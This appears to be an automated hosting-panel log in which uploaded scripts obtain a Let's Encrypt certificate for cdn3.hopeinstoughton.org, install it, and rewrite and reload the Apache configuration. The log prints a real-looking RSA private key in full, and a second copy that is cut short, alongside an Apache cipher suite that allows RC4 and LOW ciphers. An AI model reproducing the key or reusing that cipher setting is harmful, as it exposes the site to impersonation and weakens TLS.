y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-30 06:01:56: Establishing a connection
2025-08-30 06:01:57: Establishing a connection
2025-08-30 06:01:59:
PUT: /tmp/pkp872271
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:02:00:
chmod 755 /tmp/pkp872271; /tmp/pkp872271; rm /tmp/pkp872271
2025-08-30 06:02:00:
1
2025-08-30 06:02:01: Establishing a connection
2025-08-30 06:02:02:
PUT: /tmp/pkp480614
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE
2025-08-30 06:02:03:
chmod 755 /tmp/pkp480614; /tmp/pkp480614; rm /tmp/pkp480614
2025-08-30 06:02:03:
2025-08-30 06:02:06: Establishing a connection
2025-08-30 06:02:08:
PUT: /tmp/pkp417179
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm crLsjcgxie6phEj06p5d5uYC5fcVLL0Ox-gx49CNvZE
2025-08-30 06:02:09:
chmod 755 /tmp/pkp417179; /tmp/pkp417179; rm /tmp/pkp417179
2025-08-30 06:02:09:
2025-08-30 06:02:09: Establishing a connection
2025-08-30 06:02:10:
PUT: /tmp/pkp942038
#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0
cat > $temp_file <<'endmsg'
d7:56:88:0c:96:33:4c:b6:a2:2a:10:da:06:14:96:89
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBo24raFNHZ1zWgsf8OXyBDd1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODMwMDUwMzM2WhcNMjUxMTI4MDUwMzM1WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOiufkw8g697KevZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL
8I+qYgaFK5v/f5IQP4H8rY5brkvR1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Go
f/Fwvp0eWVT1DI4Wt3n+4dYwXjDDc5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVx
csfgaOw+UZyR6Tn4JofiP9F/gOuEL2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OY
qBgO5v4PKckBqYUrsjFqNuCZbimujObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z
5PkEaWA8Zr/pZpMaKtkhl/Ltvb7jX8MKvzBHAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFOTD7R1kHGLQ+NGXNM7E/B+Lin3tMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE4LmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idPOoRU
AAABmPmRnQEAAAQDAEYwRAIgOq4zhLsmOPnd2UIVkFfLFS8ggUh2jq38UF6OWsjn
XFkCIAimpBy7qpUoffWhwIxIVvtLTy+XYEQo6LiGp0akr5NnAHYA3dzKNJXX4RYF
55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGY+ZGdNAAABAMARzBFAiA5tgNeeo3i
o9din6a9R1mbFedsK2HZ0GMDKzHK5PQTPAIhAOMBOYXPZEbfICeNJ85tsztoKWwV
wfYULTXrmDyTmNJwMA0GCSqGSIb3DQEBCwUAA4IBAQB9Wx9TOQZVqlmkwg2G7zdc
UnM/9SJxa+52FQyuzL2fZuzrSlNKdZ0V5vees6u92x41vZx5KHCrCdwhHzYFzhTe
bNcMfqT85QUcDzQTSzy+STW3DdlCRREgoZh28P7QkdgWU3S8fKdfK0+Xzv2q2++5
dycDq6UCQ2v7MJxhLTFYvVJp8tp6Ejj0WQnMlIjwR0yCc10zc317UFwc2bJAcgvn
yLRQqPfcOs36r2BnLdomzkAwvGxRmggla5E/BpSAUCQ6vhHX3JRVw7P3lRPZIgbe
W35fSOrzg8f+TgbnAjKTONAIoPDfM/A7rhtSrUQDtSM44MiZGsCuVG/g55OcGrFG
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOiufkw8g697Ke
vZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL8I+qYgaFK5v/f5IQP4H8rY5brkvR
1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Gof/Fwvp0eWVT1DI4Wt3n+4dYwXjDD
c5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVxcsfgaOw+UZyR6Tn4JofiP9F/gOuE
L2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OYqBgO5v4PKckBqYUrsjFqNuCZbimu
jObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z5PkEaWA8Zr/pZpMaKtkhl/Ltvb7j
X8MKvzBHAgMBAAECggEAPQudImYjRhpztqs/E100Kjh/ghdueDN9Sy+MLMCEAd5P
kj5uzeYZ8DfsyWtsPgXMe/TpTG9Xhg1r52cxng2j2ILsurlH8FwXXVeZB0gpuNqV
gXWdJZo7GCGeepvYmlzNmjU8X3MMRVtxejMsTz/qET26EAoc8IsluG1bR7LctgYT
EPoqqBRc8Rt45eGZZVPcQlvHtqhu4fcu6Sfwm0HBS1Uowf+EyDHd82kes49vgseh
9NSdfipIVtIWQQeQN+80Vj8Vu4tn92EqZu2D7FZYEvXToellzV7drXo6R/Sbil2d
gftoexDR04AdFTd0xxKRngpj+yzxJpAOab7xwi6/8QKBgQDmp65arCCBOENb+Jxm
728+epviwZH+OHWV4wHx75rgPtAiClTWY7G28g9dR5fGZt0Jq5NkbsszYdawDO7q
AcBV8vUaJYvSSezEFy7I9t64Rcgvv9itOPn4u+QKCvIy+ndUw/oRncsmRrAOAr4H
LBNjJ4E3H+bB40mQlxLEjvWgYwKBgQDlPPGKqdgrkgRj+tFRI4fJIiMUvzGLj37H
1ysKZYogF90BRdouS2MhLJtNGZ/Nno7D3LkaqUwq/6j3IucyATa1MH/SAaV8Ljz9
+WGD+zMtv6emB4TLAYCOOEmWvzGily4slFhvIVZeWqD4Eogalg4BBZ1eKOft4c+Z
MbfQm6iLzQKBgGsLYOhlv8QYp3I0g+llr3wQjO4EpcuUykVgkBOG/pqZrCBQKSVC
KUTdO/IveqmyLV0CiqnunVFgU7Fqnyps26VH1yZmTGiwtDghBi5wG9brU8eNQnLJ
4YDlOiTLBbJQ+TaWqSSp1ZES9zvZW/WaJ/k5aUd6/6313LtE0Yn1Sts/AoGBAJN/
Ows1bVnbgeeyoqvKaLwJsvjObFqX4cNDtvXhj5ZGxHTlNRVEfGwD/4kES8ZJlyJ/
CrsU42VnSph5ZLjP/xtmMVg2pvvX5Hal1xDMuIlfH8e8Xr0gIk9f+Dl+m7k5/QPC
D4SxtpjPR3NWuSwiELCnpDHJsDFncePoEZWwEiqhAoGAIFZ23zcc2hfaKMhFD2Y6
Ma+0jO3MP8DeXRcQC+VCR4fjgbpuBPhR6JGcrw+ogFlFgfDc7JjGZflCF5npMud5
DYyk15AwFaZuAXgssOhiNWVey+3SPIT/D2jto34mNXOimvOXYAyffhWHeYPBBTfE
moUDUf/jwpdqifgh+57r8JA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:02:11:
chmod 755 /tmp/pkp942038; /tmp/pkp942038; rm /tmp/pkp942038
2025-08-30 06:02:12:
dir=/etc/ssl/certs
2025-08-30 06:02:12:
PUT: /tmp/pkp962443
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:02:12:
chmod 755 /tmp/pkp962443; /tmp/pkp962443; rm /tmp/pkp962443
2025-08-30 06:02:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-08-30 06:02:12:
PUT: /tmp/pkp350418
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi
2025-08-30 06:02:13:
chmod 755 /tmp/pkp350418; /tmp/pkp350418; rm /tmp/pkp350418
2025-08-30 06:02:13:
2025-08-30 06:02:13:
PUT: /tmp/pkp538617
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:02:13:
chmod 755 /tmp/pkp538617; /tmp/pkp538617; rm /tmp/pkp538617
2025-08-30 06:02:14:
.
2025-08-30 06:02:14: Establishing a connection
2025-08-30 06:02:15:
PUT: /tmp/pkp752817
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:02:16:
chmod 755 /tmp/pkp752817; /tmp/pkp752817; rm /tmp/pkp752817
2025-08-30 06:02:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-08-30 06:02:16:
PUT: /tmp/pkp525712
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:02:17:
chmod 755 /tmp/pkp525712; /tmp/pkp525712; rm /tmp/pkp525712
2025-08-30 06:02:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 1398
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-08-30 06:02:17:
PUT: /tmp/pkp152271
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:02:17:
chmod 755 /tmp/pkp152271; /tmp/pkp152271; rm /tmp/pkp152271
2025-08-30 06:02:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0 5372
d7:56:88:0c:96:33:4c:b6:a2:2a:10:da:06:14:96:89
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBo24raFNHZ1zWgsf8OXyBDd1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODMwMDUwMzM2WhcNMjUxMTI4MDUwMzM1WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOiufkw8g697KevZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL
8I+qYgaFK5v/f5IQP4H8rY5brkvR1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Go
f/Fwvp0eWVT1DI4Wt3n+4dYwXjDDc5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVx
csfgaOw+UZyR6Tn4JofiP9F/gOuEL2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OY
qBgO5v4PKckBqYUrsjFqNuCZbimujObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z
5PkEaWA8Zr/pZpMaKtkhl/Ltvb7jX8MKvzBHAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFOTD7R1kHGLQ+NGXNM7E/B+Lin3tMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE4LmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idPOoRU
AAABmPmRnQEAAAQDAEYwRAIgOq4zhLsmOPnd2UIVkFfLFS8ggUh2jq38UF6OWsjn
XFkCIAimpBy7qpUoffWhwIxIVvtLTy+XYEQo6LiGp0akr5NnAHYA3dzKNJXX4RYF
55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGY+ZGdNAAABAMARzBFAiA5tgNeeo3i
o9din6a9R1mbFedsK2HZ0GMDKzHK5PQTPAIhAOMBOYXPZEbfICeNJ85tsztoKWwV
wfYULTXrmDyTmNJwMA0GCSqGSIb3DQEBCwUAA4IBAQB9Wx9TOQZVqlmkwg2G7zdc
UnM/9SJxa+52FQyuzL2fZuzrSlNKdZ0V5vees6u92x41vZx5KHCrCdwhHzYFzhTe
bNcMfqT85QUcDzQTSzy+STW3DdlCRREgoZh28P7QkdgWU3S8fKdfK0+Xzv2q2++5
dycDq6UCQ2v7MJxhLTFYvVJp8tp6Ejj0WQnMlIjwR0yCc10zc317UFwc2bJAcgvn
yLRQqPfcOs36r2BnLdomzkAwvGxRmggla5E/BpSAUCQ6vhHX3JRVw7P3lRPZIgbe
W35fSOrzg8f+TgbnAjKTONAIoPDfM/A7rhtSrUQDtSM44MiZGsCuVG/g55OcGrFG
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOiufkw8g697Ke
vZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL8I+qYgaFK5v/f5IQP4H8rY5brkvR
1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Gof/Fwvp0eWVT1DI4Wt3n+4dYwXjDD
c5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVxcsfgaOw+UZyR6Tn4JofiP9F/gOuE
L2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OYqBgO5v4PKckBqYUrsjFqNuCZbimu
jObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z5PkEaWA8Zr/pZpMaKtkhl/Ltvb7j
X8MKvzBHAgMBAAECggEAPQudImYjRhpztqs/E100Kjh/ghdueDN9Sy+MLMCEAd5P
kj5uzeYZ8DfsyWtsPgXMe/TpTG9Xhg1r52cxng2j2ILsurlH8FwXXVeZB0gpuNqV
gXWdJZo7GCGeepvYmlzNmjU8X3MMRVtxejMsTz/qET26EAoc8IsluG1bR7LctgYT
EPoqqBRc8Rt45eGZZVPcQlvHtqhu4fcu6Sfwm0HBS1Uowf+EyDHd82kes49vgseh
9NSdfipIVtIWQQeQN+80Vj8Vu4tn92EqZu2D7FZYEvXToellzV7drXo6R/Sbil2d
gftoexDR04AdFTd0xxKRngpj+yzxJpAOab7xwi6/8QKBgQDmp65arCCBOENb+Jxm
728+epviwZH+OHWV4wHx75rgPtAiClTWY7G28g9dR5fGZt0Jq5NkbsszYdawDO7q
